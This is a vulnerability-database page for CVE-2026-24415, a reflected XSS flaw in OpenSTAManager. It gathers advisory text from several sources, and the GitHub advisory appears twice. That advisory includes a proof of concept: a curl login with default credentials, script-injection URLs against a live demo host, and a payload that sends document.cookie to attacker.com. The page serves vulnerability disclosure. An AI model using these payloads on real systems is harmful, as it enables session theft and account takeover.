Every CVE Search/ Get API key

CVE-2026-24415

OpenSTAManager affected by reflected XSS in modifica_iva.php via righe parameter

5.1 MediumPublic exploitFix available

OpenSTAManager is an open source management software for technical assistance and invoicing. OpenSTAManager v2.9.8 and earlier contains Reflected XSS vulnerabilities in invoice/order/contract modification modals. The application fails to properly sanitize user-supplied input from the righe GET parameter before reflecting it in HTML output.The $_GET['righe'] parameter is directly echoed into the HTML value attribute without any sanitization using htmlspecialchars() or equivalent functions. This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Active

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
None

Exploit likelihood

0.28%Up 0.2 points since Mar 4, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.1

OpenSTAManager affected by reflected XSS in modifica_iva.php via righe parameter

OpenSTAManager is an open source management software for technical assistance and invoicing. OpenSTAManager v2.9.8 and earlier contains Reflected XSS vulnerabilities in invoice/order/contract modification modals. The application fails to properly sanitize user-supplied input from the righe GET parameter before reflecting it in HTML output.The $_GET['righe'] parameter is directly echoed into the HTML value attribute without any sanitization using htmlspecialchars() or equivalent functions. This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.

Record
CVE-2026-24415
CVSS 4.0
5.1 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-79
Updated
2026-11-02
EUVDEUVD-2026-9326 5.1

OpenSTAManager is an open source management software for technical assistance and invoicing. OpenSTAManager v2.9.8 and earlier contains Reflected XSS vulnerabilities in invoice/order/contract modification modals. The application fails to properly sanitize user-supplied input from the righe GET parameter before reflecting it in HTML output.The $_GET['righe'] parameter is directly echoed into the HTML value attribute without any sanitization using htmlspecialchars() or equivalent functions. This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.

Record
EUVD-2026-9326
CVSS 4.0
5.1 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-jfgp-g7x7-j25j 5.1

OpenSTAManager Affected by XSS in modifica_iva.php via righe parameter

Summary

Multiple Reflected Cross-Site Scripting (XSS) vulnerabilities in OpenSTAManager v2.9.8 allow unauthenticated attackers to execute arbitrary JavaScript code in the context of other users' browsers through crafted URL parameters, potentially leading to session hijacking, credential theft, and unauthorized actions.

Vulnerable Parameter: righe (GET)

Details

OpenSTAManager v2.9.8 contains multiple Reflected XSS vulnerabilities in invoice/order/contract modification modals. The application fails to properly sanitize user-supplied input from the righe GET parameter before reflecting it in HTML output.

Vulnerable Code Location: File: /modules/contratti/modals/modifica_iva.php (Line 125)

<input type="hidden" name="righe" value="<?php echo $_GET['righe']; ?>">

The $_GET['righe'] parameter is directly echoed into the HTML value attribute without any sanitization using htmlspecialchars() or equivalent functions. This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.

All Affected Files:

  1. /modules/contratti/modals/modifica_iva.php - Line 125, Line 167
  2. /modules/preventivi/modals/modifica_iva.php - Line 125, Line 167
  3. /modules/fatture/modals/modifica_iva.php - Line 121, Line 161
  4. /modules/ddt/modals/modifica_iva.php - Line 125, Line 167
  5. /modules/ordini/modals/modifica_iva.php - Line 125, Line 167
  6. /modules/interventi/modals/modifica_iva.php - Line 125, Line 167

PoC

Prerequisites:

  • Running instance of OpenSTAManager v2.9.8
  • Valid admin credentials (username: admin, password: admin for test instance)

Step 1: Login

curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

Step 2: Trigger XSS Navigate to the following URL in a browser (or use curl with cookies):

http://localhost:8081/modules/contratti/modals/modifica_iva.php?righe="><script>alert(document.domain)</script>

Tested URLs (All vulnerable):

  • https://demo.osmbusiness.it/modules/contratti/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
  • https://demo.osmbusiness.it/modules/preventivi/modals/modifica_iva.php?righe=1"><script>alert(document.cookie)</script>
  • https://demo.osmbusiness.it/modules/fatture/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
  • https://demo.osmbusiness.it/modules/ddt/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
  • https://demo.osmbusiness.it/modules/ordini/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
  • https://demo.osmbusiness.it/modules/interventi/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>

Expected Result: JavaScript alert popup displays showing the current session cookie, confirming code execution.

HTML Output (verified on live instance):

<input type="hidden" name="righe" value=""><script>alert(document.cookie)</script>">

Verification:

<img width="1260" height="99" alt="image" src="https://github.com/user-attachments/assets/4e91a461-bae6-40fb-b7c3-b8bd1eb48473" />

<img width="2060" height="1180" alt="image" src="https://github.com/user-attachments/assets/6dbde967-0505-43d1-b455-adc91a4808c0" />

Alternative Payloads: Session stealing: "><script>fetch('https://attacker.com/?c='+document.cookie)</script>

Impact

Affected Users: All authenticated users with access to contracts, invoices, quotes, or orders modules.

Attack Scenario:

  1. Attacker crafts malicious URL with XSS payload
  2. Attacker sends URL to victim via email/chat/phishing
  3. Victim (authenticated user) clicks the link
  4. Malicious JavaScript executes in victim's browser context
  5. Attacker can:
    • Steal session cookies → Full account takeover
    • Perform actions on behalf of victim (create/modify/delete records)
    • Steal CSRF tokens and bypass CSRF…
Record
GHSA-jfgp-g7x7-j25j
CVSS 4.0
5.1 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-79
Updated
2026-11-02
NVD 5.1

OpenSTAManager is an open source management software for technical assistance and invoicing. OpenSTAManager v2.9.8 and earlier contains Reflected XSS vulnerabilities in invoice/order/contract modification modals. The application fails to properly sanitize user-supplied input from the righe GET parameter before reflecting it in HTML output.The $_GET['righe'] parameter is directly echoed into the HTML value attribute without any sanitization using htmlspecialchars() or equivalent functions. This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.

Record
CVE-2026-24415
CVSS 4.0
5.1 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSV 5.1

OpenSTAManager affected by reflected XSS in modifica_iva.php via righe parameter

OpenSTAManager is an open source management software for technical assistance and invoicing. OpenSTAManager v2.9.8 and earlier contains Reflected XSS vulnerabilities in invoice/order/contract modification modals. The application fails to properly sanitize user-supplied input from the righe GET parameter before reflecting it in HTML output.The $_GET['righe'] parameter is directly echoed into the HTML value attribute without any sanitization using htmlspecialchars() or equivalent functions. This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.

Record
CVE-2026-24415
CVSS 4.0
5.1 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-79
Updated
2026-11-02
OSVGHSA-jfgp-g7x7-j25j 5.1

OpenSTAManager Affected by XSS in modifica_iva.php via righe parameter

Summary

Multiple Reflected Cross-Site Scripting (XSS) vulnerabilities in OpenSTAManager v2.9.8 allow unauthenticated attackers to execute arbitrary JavaScript code in the context of other users' browsers through crafted URL parameters, potentially leading to session hijacking, credential theft, and unauthorized actions.

Vulnerable Parameter: righe (GET)

Details

OpenSTAManager v2.9.8 contains multiple Reflected XSS vulnerabilities in invoice/order/contract modification modals. The application fails to properly sanitize user-supplied input from the righe GET parameter before reflecting it in HTML output.

Vulnerable Code Location: File: /modules/contratti/modals/modifica_iva.php (Line 125)

<input type="hidden" name="righe" value="<?php echo $_GET['righe']; ?>">

The $_GET['righe'] parameter is directly echoed into the HTML value attribute without any sanitization using htmlspecialchars() or equivalent functions. This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.

All Affected Files:

  1. /modules/contratti/modals/modifica_iva.php - Line 125, Line 167
  2. /modules/preventivi/modals/modifica_iva.php - Line 125, Line 167
  3. /modules/fatture/modals/modifica_iva.php - Line 121, Line 161
  4. /modules/ddt/modals/modifica_iva.php - Line 125, Line 167
  5. /modules/ordini/modals/modifica_iva.php - Line 125, Line 167
  6. /modules/interventi/modals/modifica_iva.php - Line 125, Line 167

PoC

Prerequisites:

  • Running instance of OpenSTAManager v2.9.8
  • Valid admin credentials (username: admin, password: admin for test instance)

Step 1: Login

curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

Step 2: Trigger XSS Navigate to the following URL in a browser (or use curl with cookies):

http://localhost:8081/modules/contratti/modals/modifica_iva.php?righe="><script>alert(document.domain)</script>

Tested URLs (All vulnerable):

  • https://demo.osmbusiness.it/modules/contratti/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
  • https://demo.osmbusiness.it/modules/preventivi/modals/modifica_iva.php?righe=1"><script>alert(document.cookie)</script>
  • https://demo.osmbusiness.it/modules/fatture/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
  • https://demo.osmbusiness.it/modules/ddt/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
  • https://demo.osmbusiness.it/modules/ordini/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
  • https://demo.osmbusiness.it/modules/interventi/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>

Expected Result: JavaScript alert popup displays showing the current session cookie, confirming code execution.

HTML Output (verified on live instance):

<input type="hidden" name="righe" value=""><script>alert(document.cookie)</script>">

Verification:

<img width="1260" height="99" alt="image" src="https://github.com/user-attachments/assets/4e91a461-bae6-40fb-b7c3-b8bd1eb48473" />

<img width="2060" height="1180" alt="image" src="https://github.com/user-attachments/assets/6dbde967-0505-43d1-b455-adc91a4808c0" />

Alternative Payloads: Session stealing: "><script>fetch('https://attacker.com/?c='+document.cookie)</script>

Impact

Affected Users: All authenticated users with access to contracts, invoices, quotes, or orders modules.

Attack Scenario:

  1. Attacker crafts malicious URL with XSS payload
  2. Attacker sends URL to victim via email/chat/phishing
  3. Victim (authenticated user) clicks the link
  4. Malicious JavaScript executes in victim's browser context
  5. Attacker can:
    • Steal session cookies → Full account takeover
    • Perform actions on behalf of victim (create/modify/delete records)
    • Steal CSRF tokens and bypass CSRF…
Record
GHSA-jfgp-g7x7-j25j
CVSS 4.0
5.1 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-79
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
devcode-it/openstamanager
Packagist
 before 2.9.8
2.9.8
devcode-it/openstamanager
Packagist
 before 2.9.8, plus listed versions
2.3.0v2.4v2.4.1v2.4.10v2.4.11
Show 45 moreShow less
v2.4.12v2.4.13v2.4.14v2.4.15v2.4.16v2.4.17v2.4.17.1v2.4.18v2.4.19v2.4.2v2.4.20v2.4.21v2.4.22v2.4.23v2.4.24v2.4.25v2.4.26v2.4.27v2.4.28v2.4.29v2.4.3v2.4.30v2.4.31v2.4.32v2.4.33v2.4.34v2.4.35v2.4.36v2.4.37v2.4.38v2.4.39v2.4.4v2.4.40v2.4.41v2.4.42v2.4.43v2.4.44v2.4.45v2.4.46v2.4.47v2.4.48v2.4.49v2.4.5v2.4.50v2.4.51
2.9.8

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
PoC in GitHublukasz-rybak/CVE-2026-244152026-04-11

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-24415 is a medium vulnerability (CVSS 5.1) in Devcode Openstamanager, published March 3, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.28%, the 20th percentile. Fixed in devcode-it/openstamanager 2.9.8.

References

This page doesn't list everything

Left out here: 36 versions and the rest of 2 source descriptions. The JSON record has them.

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open